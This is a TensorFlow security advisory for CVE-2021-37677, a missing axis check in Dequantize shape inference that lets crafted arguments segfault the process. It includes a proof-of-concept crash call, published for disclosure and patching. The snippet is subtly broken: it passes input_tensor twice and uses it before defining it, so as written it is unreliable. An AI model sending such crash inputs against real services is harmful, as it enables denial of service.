## TFSA-2021-151: Missing validation in shape inference for `Dequantize`

### CVE Number
CVE-2021-37677

### Impact
The shape inference code for `tf.raw_ops.Dequantize` has a vulnerability that
could trigger a denial of service via a segfault if an attacker provides invalid
arguments:

```python
import tensorflow as tf

tf.compat.v1.disable_v2_behavior()
tf.raw_ops.Dequantize(
  input_tensor = tf.constant(-10.0, dtype=tf.float32),
  input_tensor = tf.cast(input_tensor, dtype=tf.quint8),
  min_range = tf.constant([], shape=[0], dtype=tf.float32),
  max_range = tf.constant([], shape=[0], dtype=tf.float32),
  mode  = 'MIN_COMBINED',
  narrow_range=False,
  axis=-10,
  dtype=tf.dtypes.float32)
```

The shape inference
[implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/ops/array_ops.cc#L2999-L3014)
uses `axis` to select between two different values for `minmax_rank` which is
then used to retrieve tensor dimensions. However, code assumes that `axis` can
be either `-1` or a value greater than `-1`, with no validation for the other
values.

### Patches
We have patched the issue in GitHub commit
[da857cfa0fde8f79ad0afdbc94e88b5d4bbec764](https://github.com/tensorflow/tensorflow/commit/da857cfa0fde8f79ad0afdbc94e88b5d4bbec764).

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this
commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are
also affected and still in supported range.

### For more information
Please consult [our security
guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
more information regarding the security model and how to contact us with issues
and questions.

### Attribution
This vulnerability has been reported by Yakun Zhang of Baidu Security.
